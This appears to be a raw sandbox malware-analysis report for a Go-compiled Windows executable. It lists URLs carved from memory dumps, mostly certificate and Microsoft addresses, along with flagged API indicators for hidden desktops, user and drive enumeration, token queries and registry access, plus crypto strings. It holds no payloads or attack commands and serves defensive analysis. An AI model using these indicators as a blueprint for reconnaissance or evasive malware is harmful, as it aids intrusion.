"http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "oft.com/pki/" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.micro" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "ion.re" Heuristic match: "stem.management.automation.re" Heuristic match: "pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.ms" Heuristic match: "ft.com" Pattern match: "soft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "0.16299.15.cat" Heuristic match: "mands.ma" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\programdata\oracle\java\javapath\powershell.exe.com" Heuristic match: "powershell.exe.com" Heuristic match: "c:\windows\system32\powershell.exe.com" Heuristic match: "c:\windows\powershell.exe.com" Heuristic match: "c:\windows\system32\wbem\powershell.exe.com"6f:T5f89,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.29.1lambda_methodvxcogetclassobject)wk" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0oeris" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?arizona1scottsdale1godaddy.com," - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookh1.3.36.3.3.2.8.1.1.8ecdp1.3.36.3.3.2.8.1.1.3ecdp1.3.36.3.3.2.8.1.1.11@eckp1.3.36.3.3.2.8.1.1.13ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.3ecdp1.3.36.3.3.2.8.1.1.14ecdppce" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://crl.microsouwashington1redmond1microsoft" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microd+" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\microsoft\windows" - Source: "00000000-00001336.00000000.107993.F57F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929063406.466z0washington1redmond1microsoft" - Source: "00000000-00001336.00000000.107993.F57F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001336.00000000.107993.F57F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>enabledauditmodecloudblockleveltypedefaulthighpluszerotoleranceasrruleactiontypemicrosoft.powershell.cmdletization.generatedtypes.mpscancustomscancallsite.targetcallsite.target*dpczxszd2zxszd2zcallsite.targetcallsite.targetxszd2zcallsite.targetcallsite.targetcallsite.targetcallsite.targetlambda_methodcallsite.targetcallsite.targetmaniraphic" - Source: "00000000-00001336.00000000.107993.F58F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4washington1redmond1microsoft" - Source: "00000000-00001336.00000000.107993.F594E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00001336.00000000.107993.F594E000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00001336.00000000.107993.F594E000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00001336.00000000.107993.F594E000.00000004.mdmp") Found URL "http://www.microsoft.com/windowswrapnonexceptionthrows4hington1redmond1microsoft" - Source: "00000000-00001336.00000000.107993.F594E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czcthawte," - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.29.1lambda_methodvxcogetclassobject)wk" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0oeris" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?arizona1scottsdale1godaddy.com," - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookh1.3.36.3.3.2.8.1.1.8ecdp1.3.36.3.3.2.8.1.1.3ecdp1.3.36.3.3.2.8.1.1.11@eckp1.3.36.3.3.2.8.1.1.13ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.3ecdp1.3.36.3.3.2.8.1.1.14ecdppce" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.microsouwashington1redmond1microsoft" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microd+" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4v" - Source: "00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@b" - Source: "00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found URL "https://go.dev/issue/66821):" - Source: "00000000-00003628.00000001.108720.2EE10000.00000002.mdmp")70:T474,Found reference to API "CreateDesktopA" (Indicator: "CreateDesktop"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateDesktopExACreateDesktopExWCreateDesktopW" (Indicator: "CreateDesktop"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateWindowStationA" (Indicator: "CreateWindowStation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateWindowStationW" (Indicator: "CreateWindowStation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateDesktopExA" (Indicator: "CreateDesktop"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateDesktopExW" (Indicator: "CreateDesktop"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateDesktopW" (Indicator: "CreateDesktop"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")71:T579,Found string "ncalrpc" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found string "B+ncalrpc:[OLEFFCDBF19B01FAD0FC0F5AD172B4A]" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000000.107993.F594E000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "+ncalrpc:[OLE5DC4F3C665E4D057B28F679BEE3E]" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp") Found string "+ncalrpc:[OLEFFCDBF19B01FAD0FC0F5AD172B4A]" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000000.107993.F594E000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found string "-+ncalrpc:[OLE5DC4F3C665E4D057B28F679BEE3E]" (Indicator: "ncalrpc"; Source: "00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp")72:T7be,Found registry query API: "RegOpenKey (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "RegQueryValue (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "RegNotifyChangeKeyValue (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "syscall.RegOpenKeyEx" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "syscall.RegQueryInfoKey" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "syscall.RegQueryValueEx" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "syscall.RegEnumKeyEx" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found registry query API: "RegQueryValueExW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp" Found registry query API: "RegNotifyChangeKeyValue" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp" Found registry query API: "GetSystemRegistryQuota" in "00000000-00003628.00000000.107958.2D680000.00000004.mdmp"73:T7cc,file/memory contains long string with (Indicator: "GetDriveType"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetLogicalDrives"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetLogicalDriveStrings"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetDllDirectoryAGetDllDirectoryWGetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDrivesGetLongPathNameAGetLongPathNameWGetMailslotInfo" (Indicator: "GetLogicalDrives"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDriveStringsA" (Indicator: "GetLogicalDriveStrings"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDriveStringsW" (Indicator: "GetLogicalDriveStrings"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")74:T91b,file/memory contains long string with (Indicator: "NetUserEnum"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetUserName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WTSQueryUserToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "LookupAccountName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtQuerySystemInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtQueryInformationProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetTokenInformation" (Indicator: "GetTokenInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")75:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00001336) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00001336) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00001336)76:Te19,Found string "chacha8" (Indicator: "chacha"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*aes.CTR" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "crypto/aes" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*aes.Block" (Indicator: "aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found 